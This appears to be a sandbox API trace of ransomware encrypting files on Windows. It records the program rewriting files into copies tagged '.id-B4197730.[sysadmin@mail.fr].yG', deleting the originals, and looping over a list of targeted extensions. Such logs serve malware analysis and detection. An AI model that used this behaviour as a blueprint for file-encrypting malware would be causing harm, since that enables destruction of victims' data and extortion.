	[0041.058] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0041.058] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 1
	[0041.058] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0041.058] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0041.058] lstrlenW (lpString=".doc") returned 4
	[0041.058] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0041.059] lstrlenW (lpString=".docx") returned 5
	[0041.059] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1
	[0041.059] lstrlenW (lpString=".pdf") returned 4
	[0041.059] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1
	[0041.059] lstrlenW (lpString=".xls") returned 4
	[0041.059] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1
	[0041.059] lstrlenW (lpString=".xlsx") returned 5
	[0041.059] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1
	[0041.059] lstrlenW (lpString=".ppt") returned 4
	[0041.059] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1
	[0041.059] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0041.059] lstrlenW (lpString=".zip") returned 4
	[0041.059] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1
	[0041.059] lstrlenW (lpString=".rar") returned 4
	[0041.059] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1
	[0041.059] lstrlenW (lpString=".bz2") returned 4
	[0041.059] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0041.059] lstrlenW (lpString=".7z") returned 3
	[0041.059] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0041.059] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0041.059] lstrlenW (lpString=".dbf") returned 4
	[0041.059] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0041.059] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0041.059] lstrlenW (lpString=".1cd") returned 4
	[0041.059] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0041.059] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0041.059] lstrlenW (lpString=".jpg") returned 4
	[0041.059] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0041.059] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0041.059] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0041.060] lstrlenW (lpString=".doc") returned 4
	[0041.060] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0041.060] lstrlenW (lpString=".docx") returned 5
	[0041.060] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1
	[0041.060] lstrlenW (lpString=".pdf") returned 4
	[0041.060] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1
	[0041.060] lstrlenW (lpString=".xls") returned 4
	[0041.060] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1
	[0041.060] lstrlenW (lpString=".xlsx") returned 5
	[0041.060] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1
	[0041.060] lstrlenW (lpString=".ppt") returned 4
	[0041.060] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1
	[0041.060] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0041.060] lstrlenW (lpString=".zip") returned 4
	[0041.060] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1
	[0041.060] lstrlenW (lpString=".rar") returned 4
	[0041.060] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1
	[0041.060] lstrlenW (lpString=".bz2") returned 4
	[0041.060] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0041.060] lstrlenW (lpString=".7z") returned 3
	[0041.060] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0041.060] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0041.060] lstrlenW (lpString=".dbf") returned 4
	[0041.061] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0041.061] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0041.061] lstrlenW (lpString=".1cd") returned 4
	[0041.061] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0041.061] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0041.061] lstrlenW (lpString=".jpg") returned 4
	[0041.061] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0041.061] lstrcmpiW (lpString1=".ini", lpString2=".yG") returned -1
	[0041.061] lstrlenW (lpString="desktop.ini") returned 11
	[0041.061] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0041.061] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=129) returned 1
	[0041.061] CloseHandle (hObject=0x2b8) returned 1
	[0041.061] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26
	[0041.061] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0041.061] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0041.062] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.062] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.062] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0041.069] GetLastError () returned 0x0
	[0041.069] ReadFile (in: hFile=0x2b8, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x81, lpOverlapped=0x0) returned 1
	[0041.069] WriteFile (in: hFile=0x2cc, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x90, lpOverlapped=0x0) returned 1
	[0041.070] ReadFile (in: hFile=0x2b8, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0041.070] WriteFile (in: hFile=0x2cc, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xea, lpOverlapped=0x0) returned 1
	[0041.070] SetEndOfFile (hFile=0x2cc) returned 1
	[0041.070] CloseHandle (hObject=0x2cc) returned 1
	[0041.070] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.071] SetEndOfFile (hFile=0x2b8) returned 1
	[0041.071] CloseHandle (hObject=0x2b8) returned 1
	[0041.071] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x26) returned 1
	[0041.072] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 1
	[0041.072] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0041.072] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0041.072] lstrlenW (lpString=".doc") returned 4
	[0041.072] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0041.072] lstrlenW (lpString=".docx") returned 5
	[0041.072] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0041.072] lstrlenW (lpString=".pdf") returned 4
	[0041.072] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0041.072] lstrlenW (lpString=".xls") returned 4
	[0041.072] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0041.072] lstrlenW (lpString=".xlsx") returned 5
	[0041.072] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0041.072] lstrlenW (lpString=".ppt") returned 4
	[0041.072] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0041.072] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0041.072] lstrlenW (lpString=".zip") returned 4
	[0041.072] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0041.072] lstrlenW (lpString=".rar") returned 4
	[0041.073] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0041.073] lstrlenW (lpString=".bz2") returned 4
	[0041.073] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0041.074] lstrlenW (lpString=".7z") returned 3
	[0041.074] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0041.074] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0041.074] lstrlenW (lpString=".dbf") returned 4
	[0041.074] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0041.074] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0041.074] lstrlenW (lpString=".1cd") returned 4
	[0041.074] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0041.074] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0041.074] lstrlenW (lpString=".jpg") returned 4
	[0041.074] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0041.074] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0041.074] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0041.074] lstrlenW (lpString=".doc") returned 4
	[0041.074] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0041.074] lstrlenW (lpString=".docx") returned 5
	[0041.074] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0041.074] lstrlenW (lpString=".pdf") returned 4
	[0041.074] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0041.074] lstrlenW (lpString=".xls") returned 4
	[0041.074] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0041.074] lstrlenW (lpString=".xlsx") returned 5
	[0041.074] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0041.074] lstrlenW (lpString=".ppt") returned 4
	[0041.074] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0041.074] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0041.074] lstrlenW (lpString=".zip") returned 4
	[0041.074] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0041.074] lstrlenW (lpString=".rar") returned 4
	[0041.074] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0041.074] lstrlenW (lpString=".bz2") returned 4
	[0041.074] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0041.074] lstrlenW (lpString=".7z") returned 3
	[0041.075] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0041.075] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0041.075] lstrlenW (lpString=".dbf") returned 4
	[0041.075] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0041.075] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0041.075] lstrlenW (lpString=".1cd") returned 4
	[0041.075] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0041.075] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0041.075] lstrlenW (lpString=".jpg") returned 4
	[0041.075] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0041.075] Sleep (dwMilliseconds=0x64) 
	[0041.437] lstrcmpiW (lpString1=".rtf", lpString2=".yG") returned -1
	[0041.437] lstrlenW (lpString="eula.rtf") returned 8
	[0041.437] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0041.466] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=7567) returned 1
	[0041.466] CloseHandle (hObject=0x2f4) returned 1
	[0041.466] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 0x80
	[0041.466] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0041.466] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0041.467] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.467] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.467] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0041.656] GetLastError () returned 0x0
	[0041.656] ReadFile (in: hFile=0x2f4, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x1d8f, lpOverlapped=0x0) returned 1
	[0041.943] WriteFile (in: hFile=0x2f0, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x1d90, lpOverlapped=0x0) returned 1
	[0041.944] ReadFile (in: hFile=0x2f4, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0041.944] WriteFile (in: hFile=0x2f0, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0041.944] SetEndOfFile (hFile=0x2f0) returned 1
	[0041.945] CloseHandle (hObject=0x2f0) returned 1
	[0041.945] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.945] SetEndOfFile (hFile=0x2f4) returned 1
	[0041.946] CloseHandle (hObject=0x2f4) returned 1
	[0041.946] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0041.946] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 1
	[0041.946] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0041.946] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0041.946] lstrlenW (lpString=".doc") returned 4
	[0041.946] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0041.946] lstrlenW (lpString=".docx") returned 5
	[0041.946] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0041.946] lstrlenW (lpString=".pdf") returned 4
	[0041.946] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0041.946] lstrlenW (lpString=".xls") returned 4
	[0041.947] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0041.947] lstrlenW (lpString=".xlsx") returned 5
	[0041.947] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0041.947] lstrlenW (lpString=".ppt") returned 4
	[0041.947] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0041.947] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0041.947] lstrlenW (lpString=".zip") returned 4
	[0041.947] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0041.947] lstrlenW (lpString=".rar") returned 4
	[0041.947] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0041.947] lstrlenW (lpString=".bz2") returned 4
	[0041.947] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0041.947] lstrlenW (lpString=".7z") returned 3
	[0041.947] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0041.947] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0041.947] lstrlenW (lpString=".dbf") returned 4
	[0041.947] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0041.947] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0041.947] lstrlenW (lpString=".1cd") returned 4
	[0041.947] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0041.947] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0041.947] lstrlenW (lpString=".jpg") returned 4
	[0041.947] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0041.947] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0041.947] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0041.947] lstrlenW (lpString=".doc") returned 4
	[0041.947] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0041.947] lstrlenW (lpString=".docx") returned 5
	[0041.947] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0041.947] lstrlenW (lpString=".pdf") returned 4
	[0041.947] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0041.947] lstrlenW (lpString=".xls") returned 4
	[0041.947] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0041.947] lstrlenW (lpString=".xlsx") returned 5
	[0041.947] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0041.947] lstrlenW (lpString=".ppt") returned 4
	[0041.948] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0041.948] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0041.948] lstrlenW (lpString=".zip") returned 4
	[0041.948] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0041.948] lstrlenW (lpString=".rar") returned 4
	[0041.948] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0041.948] lstrlenW (lpString=".bz2") returned 4
	[0041.948] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0041.948] lstrlenW (lpString=".7z") returned 3
	[0041.948] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0041.948] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0041.948] lstrlenW (lpString=".dbf") returned 4
	[0041.948] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0041.948] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0041.948] lstrlenW (lpString=".1cd") returned 4
	[0041.948] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0041.948] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0041.948] lstrlenW (lpString=".jpg") returned 4
	[0041.948] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0041.948] lstrcmpiW (lpString1=".rtf", lpString2=".yG") returned -1
	[0041.948] lstrlenW (lpString="eula.rtf") returned 8
	[0041.948] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0041.949] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=3314) returned 1
	[0041.949] CloseHandle (hObject=0x2f4) returned 1
	[0041.949] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 0x80
	[0041.949] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0041.949] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0041.949] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.949] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.949] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0041.949] GetLastError () returned 0x0
	[0041.949] ReadFile (in: hFile=0x2f4, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0xcf2, lpOverlapped=0x0) returned 1
	[0041.989] WriteFile (in: hFile=0x2f0, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xd00, lpOverlapped=0x0) returned 1
	[0041.990] ReadFile (in: hFile=0x2f4, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0041.990] WriteFile (in: hFile=0x2f0, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0041.990] SetEndOfFile (hFile=0x2f0) returned 1
	[0041.990] CloseHandle (hObject=0x2f0) returned 1
	[0041.991] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.991] SetEndOfFile (hFile=0x2f4) returned 1
	[0041.992] CloseHandle (hObject=0x2f4) returned 1
	[0041.992] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0041.993] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 1
	[0041.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0041.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0041.993] lstrlenW (lpString=".doc") returned 4
	[0041.993] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0041.993] lstrlenW (lpString=".docx") returned 5
	[0041.993] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0041.993] lstrlenW (lpString=".pdf") returned 4
	[0041.993] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0041.993] lstrlenW (lpString=".xls") returned 4
	[0041.993] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0041.993] lstrlenW (lpString=".xlsx") returned 5
	[0041.993] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0041.993] lstrlenW (lpString=".ppt") returned 4
	[0041.993] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
